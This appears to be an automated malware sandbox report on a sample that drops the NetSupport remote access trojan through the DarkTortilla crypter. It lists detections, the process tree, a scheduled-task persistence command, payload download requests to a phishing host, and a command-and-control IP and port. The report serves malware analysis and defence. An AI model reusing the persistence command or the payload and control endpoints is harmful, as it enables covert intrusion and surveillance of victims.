Edit tour

Windows Analysis Report
Jjv9ha2GKn.exe

Overview

General Information

Sample name:	Jjv9ha2GKn.exe renamed because original name is a hash value
Original sample name:	6ba3976f8956dceb2903dc89b9b66c3d81ceb93566b6244b58c4929a454815c0.exe
Analysis ID:	1572207
MD5:	aedf7f67cf6d7f8ef348ba681046fe51
SHA1:	707ac1c67e2d569613c1b5cc3f809d6bd3cddc26
SHA256:	6ba3976f8956dceb2903dc89b9b66c3d81ceb93566b6244b58c4929a454815c0
Tags:	DarkTortillaexeganeres1-comganeres2-comnetsupportuser-JAMESWT_MHT
Infos:

Detection

NetSupport RAT, DarkTortilla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected DarkTortilla Crypter

.NET source code contains very large array initializations

AI detected suspicious sample

Allocates memory in foreign processes

Contains functionality to detect sleep reduction / modifications

Contains functionalty to change the wallpaper

Delayed program exit found

Found evasive API chain (may stop execution after checking mutex)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Injects a PE file into a foreign processes

Machine Learning detection for sample

Uses known network protocols on non-standard ports

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains functionality for read data from the clipboard

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to query network adapater information

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Enables security privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evaded block containing many API calls

Found evasive API chain (date check)

Found evasive API chain checking for process token information

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check if the current machine is a sandbox (GetTickCount - Sleep)

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

PE file does not import any functions

Potential key logger detected (key state polling based)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Schtasks From Env Var Folder

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses the system / local time for branch decision (may execute only at specific dates)

Yara detected Keylogger Generic

Yara detected NetSupport remote tool

Classification

Process Tree

System is w10x64

Jjv9ha2GKn.exe (PID: 6512 cmdline: "C:\Users\user\Desktop\Jjv9ha2GKn.exe" MD5: AEDF7F67CF6D7F8EF348BA681046FE51)

AddInProcess32.exe (PID: 2972 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" MD5: 9827FF3CDF4B83F9C86354606736CA9C)

schtasks.exe (PID: 6308 cmdline: "C:\Windows\system32\schtasks.exe" /create /sc ONLOGON /tn "DNScache" /tr "C:\Users\user\AppData\Local\DNScache\client32.exe" /RL HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 1536 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

client32.exe (PID: 828 cmdline: C:\Users\user\AppData\Local\DNScache\client32.exe MD5: 9497AECE91E1CCC495CA26AE284600B9)

client32.exe (PID: 6044 cmdline: C:\Users\user\AppData\Local\DNScache\client32.exe MD5: 9497AECE91E1CCC495CA26AE284600B9)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DarkTortilla	DarkTortilla is a complex and highly configurable .NET-based crypter that has possibly been active since at least August 2015. It typically delivers popular information stealers and remote access trojans (RATs) such as AgentTesla, AsyncRat, NanoCore, and RedLine. While it appears to primarily deliver commodity malware, Secureworks Counter Threat Unit (CTU) researchers identified DarkTortilla samples delivering targeted payloads such as Cobalt Strike and Metasploit. It can also deliver "addon packages" such as additional malicious payloads, benign decoy documents, and executables. It features robust anti-analysis and anti-tamper controls that can make detection, analysis, and eradication challenging.From January 2021 through May 2022, an average of 93 unique DarkTortilla samples per week were uploaded to the VirusTotal analysis service. Code similarities suggest possible links between DarkTortilla and other malware: a crypter operated by the RATs Crew threat group, which was active between 2008 and 2012, and the Gameloader malware that emerged in 2021.	No Attribution	https://www.secureworks.com/research/darktortilla-malware-analysis	https://malpedia.caad.fkie.fraunhofer.de/details/win.darktortilla

Yara Signatures

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\DNScache\client32.exe	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Local\DNScache\PCICHEK.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Local\DNScache\pcicapi.dll	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Local\DNScache\AudioCapture.dll	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Local\DNScache\TCCTL32.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Local\DNScache\HTCTL32.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Local\DNScache\PCICL32.DLL	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
C:\Users\user\AppData\Local\DNScache\PCICL32.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Click to see the 3 entries

Memory Dumps

Source	Rule	Description	Author
00000009.00000002.2889855835.00000000111DC000.00000004.00000001.01000000.0000000E.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000007.00000002.3301652835.00000000004D1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000007.00000002.3304754604.000000006CD80000.00000002.00000001.01000000.00000012.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000009.00000002.2889815261.000000001118F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000009.00000002.2889815261.000000001118F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000007.00000002.3304252601.000000001118F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000007.00000002.3304252601.000000001118F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000007.00000002.3304306206.00000000111DC000.00000004.00000001.01000000.0000000E.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000000.00000002.2759945326.00000000051E0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
00000000.00000002.2751641971.00000000027A1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
Process Memory Space: Jjv9ha2GKn.exe PID: 6512	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
Process Memory Space: Jjv9ha2GKn.exe PID: 6512	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: client32.exe PID: 828	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: client32.exe PID: 828	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Process Memory Space: client32.exe PID: 6044	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: client32.exe PID: 6044	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author
9.2.client32.exe.6f6f0000.5.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
7.0.client32.exe.400000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
7.2.client32.exe.6ceb0000.5.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
9.0.client32.exe.400000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
9.2.client32.exe.400000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
7.2.client32.exe.400000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
9.2.client32.exe.6ceb0000.4.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
7.2.client32.exe.6f6f0000.6.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
7.2.client32.exe.111b32a0.2.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
7.2.client32.exe.111b32a0.2.raw.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0.2.Jjv9ha2GKn.exe.51e0000.5.unpack	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
9.2.client32.exe.111b32a0.2.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
9.2.client32.exe.111b32a0.2.raw.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
7.2.client32.exe.6cd40000.3.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0.2.Jjv9ha2GKn.exe.51e0000.5.raw.unpack	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
9.2.client32.exe.11000000.1.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
9.2.client32.exe.11000000.1.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
7.2.client32.exe.11000000.1.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
7.2.client32.exe.11000000.1.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Click to see the 14 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\system32\schtasks.exe" /create /sc ONLOGON /tn "DNScache" /tr "C:\Users\user\AppData\Local\DNScache\client32.exe" /RL HIGHEST, CommandLine: "C:\Windows\system32\schtasks.exe" /create /sc ONLOGON /tn "DNScache" /tr "C:\Users\user\AppData\Local\DNScache\client32.exe" /RL HIGHEST, CommandLine|base64offset|contains: j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe", ParentImage: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe, ParentProcessId: 2972, ParentProcessName: AddInProcess32.exe, ProcessCommandLine: "C:\Windows\system32\schtasks.exe" /create /sc ONLOGON /tn "DNScache" /tr "C:\Users\user\AppData\Local\DNScache\client32.exe" /RL HIGHEST, ProcessId: 6308, ProcessName: schtasks.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T08:58:24.482566+0100	2803305	3	Unknown Traffic	192.168.2.5	49831	23.254.224.41	443	TCP
2024-12-10T08:58:26.643824+0100	2803305	3	Unknown Traffic	192.168.2.5	49837	23.254.224.41	443	TCP
2024-12-10T08:58:31.227150+0100	2803305	3	Unknown Traffic	192.168.2.5	49851	23.254.224.41	443	TCP
2024-12-10T08:58:33.561114+0100	2803305	3	Unknown Traffic	192.168.2.5	49857	23.254.224.41	443	TCP

ETPRO MALWARE NetSupport RAT CnC Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T08:57:08.084054+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.5	49865	88.210.12.58	3785	TCP
2024-12-10T08:58:37.212776+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.5	49865	88.210.12.58	3785	TCP
2024-12-10T08:58:37.654624+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.5	49865	88.210.12.58	3785	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Jjv9ha2GKn.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://cycleconf.com/dwnld/2nd2_4.zip	Avira URL Cloud: Label: phishing
Source: https://cycleconf.com/dwnld/2nd2_1.zip	Avira URL Cloud: Label: phishing
Source: https://cycleconf.com/dwnld/2nd2_2.zip	Avira URL Cloud: Label: phishing
Source: https://cycleconf.com/dwnld/2nd2_3.zip	Avira URL Cloud: Label: phishing

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

ReversingLabs: Detection: 21%

Multi AV Scanner detection for submitted file

Source: Jjv9ha2GKn.exe

ReversingLabs: Detection: 47%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: Jjv9ha2GKn.exe

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_110AC600 GetModuleHandleA,GetProcAddress,GetProcAddress,GetLastError,wsprintfA,GetLastError,_memset,CryptGetProvParam,CryptGetProvParam,GetLastError,_memset,CryptGetProvParam,GetLastError,GetLastError,GetLastError,GetLastError,_malloc,GetLastError,_free,GetLastError,CryptReleaseContext,SetLastError,FreeLibrary,		7_2_110AC600
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_110AC600 GetModuleHandleA,GetProcAddress,GetProcAddress,GetLastError,wsprintfA,GetLastError,_memset,CryptGetProvParam,CryptGetProvParam,GetLastError,_memset,CryptGetProvParam,GetLastError,GetLastError,GetLastError,GetLastError,_malloc,GetLastError,_free,GetLastError,CryptReleaseContext,SetLastError,FreeLibrary,		9_2_110AC600

Source: Jjv9ha2GKn.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

File opened: C:\Users\user\AppData\Local\DNScache\MSVCR100.dll

Jump to behavior

Source: unknown

HTTPS traffic detected: 23.254.224.41:443 -> 192.168.2.5:49831 version: TLS 1.2

Source: Jjv9ha2GKn.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: msvcr100.i386.pdb source: client32.exe, client32.exe, 00000007.00000002.3304858661.000000006CDF1000.00000020.00000001.01000000.00000011.sdmp, client32.exe, 00000009.00000002.2890200975.000000006CDF1000.00000020.00000001.01000000.00000011.sdmp, msvcr100.dll.4.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Full\pcichek.pdb source: client32.exe, 00000007.00000002.3305095577.000000006F6F2000.00000002.00000001.01000000.0000000F.sdmp, client32.exe, 00000009.00000002.2890449063.000000006F6F2000.00000002.00000001.01000000.0000000F.sdmp, PCICHEK.DLL.4.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: client32.exe, 00000007.00000002.3304252601.000000001118F000.00000002.00000001.01000000.0000000E.sdmp, client32.exe, 00000009.00000002.2889815261.000000001118F000.00000002.00000001.01000000.0000000E.sdmp, PCICL32.DLL.4.dr
Source:	Binary string: msauserext.pdbGCTL source: msauserext.dll.4.dr
Source:	Binary string: mscpxl32.pdb source: mscpxl32.dLL.4.dr
Source:	Binary string: mscpxl32.pdbGCTL source: mscpxl32.dLL.4.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Full\pcichek.pdbN source: PCICHEK.DLL.4.dr
Source:	Binary string: mscat32.pdbGCTL source: mscat32.dll.4.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdbL source: client32.exe, 00000007.00000002.3304754604.000000006CD80000.00000002.00000001.01000000.00000012.sdmp, HTCTL32.DLL.4.dr
Source:	Binary string: d:\a01\_work\2\s\\binaries\x86ret\bin\i386\\msvcp140_1.i386.pdb source: msvcp140_1.dll.4.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\AudioCapture\Release\AudioCapture.pdb source: AudioCapture.dll.4.dr
Source:	Binary string: client32_ctr.pdb0\1100\client32\Release\client32_ctr.pdbP source: AddInProcess32.exe, 00000004.00000002.2880341312.000000000108F000.00000004.00000020.00020000.00000000.sdmp, client32.exe.4.dr
Source:	Binary string: msauserext.pdb source: msauserext.dll.4.dr
Source:	Binary string: client32_ctr.pdb source: AddInProcess32.exe, 00000004.00000002.2880341312.000000000108F000.00000004.00000020.00020000.00000000.sdmp, client32.exe.4.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\release\tcctl32.pdbP source: TCCTL32.DLL.4.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdb source: client32.exe, 00000007.00000002.3304754604.000000006CD80000.00000002.00000001.01000000.00000012.sdmp, HTCTL32.DLL.4.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Release\pcicapi.pdb source: client32.exe, 00000007.00000002.3305005916.000000006CEB5000.00000002.00000001.01000000.00000010.sdmp, client32.exe, 00000009.00000002.2890355521.000000006CEB5000.00000002.00000001.01000000.00000010.sdmp, pcicapi.dll.4.dr
Source:	Binary string: mscat32.pdb source: mscat32.dll.4.dr
Source:	Binary string: 0\1100\client32\Release\client32_ctr.pdb source: AddInProcess32.exe, 00000004.00000002.2880341312.000000000108F000.00000004.00000020.00020000.00000000.sdmp, client32.exe.4.dr
Source:	Binary string: d:\a01\_work\2\s\\binaries\x86ret\bin\i386\\msvcp140_codecvt_ids.i386.pdb source: msvcp140_codecvt_ids.dll.4.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\release\tcctl32.pdb source: TCCTL32.DLL.4.dr

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_0040F905 FindFirstFileExW,	4_2_0040F905
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1102D1B3 CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	7_2_1102D1B3
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11069760 GetTickCount,OpenPrinterA,StartDocPrinterA,ClosePrinter,FindFirstFileA,FindClose,CreateFileA,SetFilePointer,GetTickCount,GetLastError,	7_2_11069760
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11123690 _memset,_memset,GetVersionExA,GetTempPathA,GetModuleFileNameA,_strrchr,CreateFileA,CreateFileA,WriteFile,CloseHandle,CloseHandle,CreateFileA,GetCurrentProcessId,wsprintfA,CreateProcessA,CloseHandle,CloseHandle,CloseHandle,CreateProcessA,DeleteFileA,Sleep,WaitForSingleObject,CloseHandle,GetCurrentProcess,RemoveDirectoryA,GetLastError,ExitProcess,FindNextFileA,FindClose,FindFirstFileA,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,GetModuleFileNameA,_strrchr,_memmove,GetThreadContext,VirtualProtectEx,WriteProcessMemory,FlushInstructionCache,SetThreadContext,ResumeThread,CloseHandle,CloseHandle,	7_2_11123690
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11108090 _memset,wsprintfA,wsprintfA,FindFirstFileA,wsprintfA,FindNextFileA,GetLastError,FindClose,	7_2_11108090
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_110BC0E0 GetFileAttributesA,CreateDirectoryA,FindFirstFileA,CopyFileA,CopyFileA,FindNextFileA,FindClose,DrawMenuBar,	7_2_110BC0E0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1102CE84 Sleep,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	7_2_1102CE84
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11064EF0 _memset,_memmove,_strncpy,CharUpperA,FindFirstFileA,FindNextFileA,FindClose,wsprintfA,	7_2_11064EF0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CE4EFE1 _stat32,__doserrno,_errno,_invalid_parameter_noinfo,_mbspbrk,_errno,__doserrno,_mbctolower,_getdrive,FindFirstFileExA,_mbspbrk,__wfullpath_helper,_strlen,_IsRootUNCName,GetDriveTypeA,free,___loctotime32_t,free,__wsopen_s,__fstat32,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FindClose,___dtoxmode,GetLastError,__dosmaperr,FindClose,	7_2_6CE4EFE1
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CE50F84 _wstat32i64,__doserrno,_errno,_invalid_parameter_noinfo,_wcspbrk,_errno,__doserrno,towlower,_getdrive,FindFirstFileExW,_wcspbrk,_wcslen,GetDriveTypeW,free,___loctotime32_t,free,_wsopen_s,__fstat32i64,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FindClose,___wdtoxmode,GetLastError,__dosmaperr,FindClose,	7_2_6CE50F84
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CE4CA9B _malloc_crt,FindClose,FindFirstFileExW,FindNextFileW,FindClose,	7_2_6CE4CA9B
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CE50B33 _wstat64,__doserrno,_errno,_invalid_parameter_noinfo,_wcspbrk,_errno,__doserrno,towlower,_getdrive,FindFirstFileExW,_wcspbrk,_wcslen,GetDriveTypeW,free,___loctotime64_t,free,_wsopen_s,__fstat64,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime64_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime64_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime64_t,FindClose,___wdtoxmode,GetLastError,__dosmaperr,FindClose,	7_2_6CE50B33
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CE4C775 _malloc_crt,FindClose,FindFirstFileExA,FindNextFileA,FindClose,	7_2_6CE4C775
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CE50702 _wstat32,__doserrno,_errno,_invalid_parameter_noinfo,_wcspbrk,_errno,__doserrno,towlower,_getdrive,FindFirstFileExW,_wcspbrk,_wcslen,GetDriveTypeW,free,___loctotime32_t,free,_wsopen_s,__fstat32,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FindClose,___wdtoxmode,GetLastError,__dosmaperr,FindClose,	7_2_6CE50702
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_1102CD90 InterlockedIncrement,Sleep,Sleep,GetCurrentProcess,SetPriorityClass,SetEvent,Sleep,PostThreadMessageA,PostThreadMessageA,CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	9_2_1102CD90
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11069760 GetTickCount,OpenPrinterA,StartDocPrinterA,ClosePrinter,FindFirstFileA,FindClose,CreateFileA,SetFilePointer,GetTickCount,GetLastError,	9_2_11069760
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11123690 _memset,_memset,GetVersionExA,GetTempPathA,GetModuleFileNameA,_strrchr,CreateFileA,CreateFileA,WriteFile,CloseHandle,CloseHandle,CreateFileA,GetCurrentProcessId,wsprintfA,CreateProcessA,CloseHandle,CloseHandle,CloseHandle,CreateProcessA,DeleteFileA,Sleep,WaitForSingleObject,CloseHandle,GetCurrentProcess,RemoveDirectoryA,GetLastError,ExitProcess,FindNextFileA,FindClose,FindFirstFileA,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,GetModuleFileNameA,_strrchr,_memmove,GetThreadContext,VirtualProtectEx,WriteProcessMemory,FlushInstructionCache,SetThreadContext,ResumeThread,CloseHandle,CloseHandle,	9_2_11123690
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11108090 _memset,wsprintfA,wsprintfA,KillTimer,FindFirstFileA,wsprintfA,FindNextFileA,GetLastError,FindClose,	9_2_11108090
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_110BC0E0 GetFileAttributesA,CreateDirectoryA,FindFirstFileA,CopyFileA,CopyFileA,FindNextFileA,FindClose,DrawMenuBar,	9_2_110BC0E0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11064EF0 _memset,_memmove,_strncpy,CharUpperA,FindFirstFileA,FindNextFileA,FindClose,wsprintfA,	9_2_11064EF0

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

Code function: 4x nop then add byte ptr [edi], dh

7_2_6CE08468

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2827745 - Severity 1 - ETPRO MALWARE NetSupport RAT CnC Activity : 192.168.2.5:49865 -> 88.210.12.58:3785

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 3785 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 3785 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 3785

Source: global traffic

TCP traffic: 192.168.2.5:49865 -> 88.210.12.58:3785

Source: global traffic	HTTP traffic detected: GET /dwnld/2nd2_1.zip HTTP/1.1Host: cycleconf.com
Source: global traffic	HTTP traffic detected: GET /dwnld/2nd2_2.zip HTTP/1.1Host: cycleconf.com
Source: global traffic	HTTP traffic detected: GET /dwnld/2nd2_3.zip HTTP/1.1Host: cycleconf.com
Source: global traffic	HTTP traffic detected: GET /dwnld/2nd2_4.zip HTTP/1.1Host: cycleconf.com
Source: global traffic	HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View

IP Address: 104.26.0.231 104.26.0.231

Source: Joe Sandbox View

ASN Name: CITYLAN-ASRU CITYLAN-ASRU

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49831 -> 23.254.224.41:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49837 -> 23.254.224.41:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49857 -> 23.254.224.41:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49851 -> 23.254.224.41:443

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

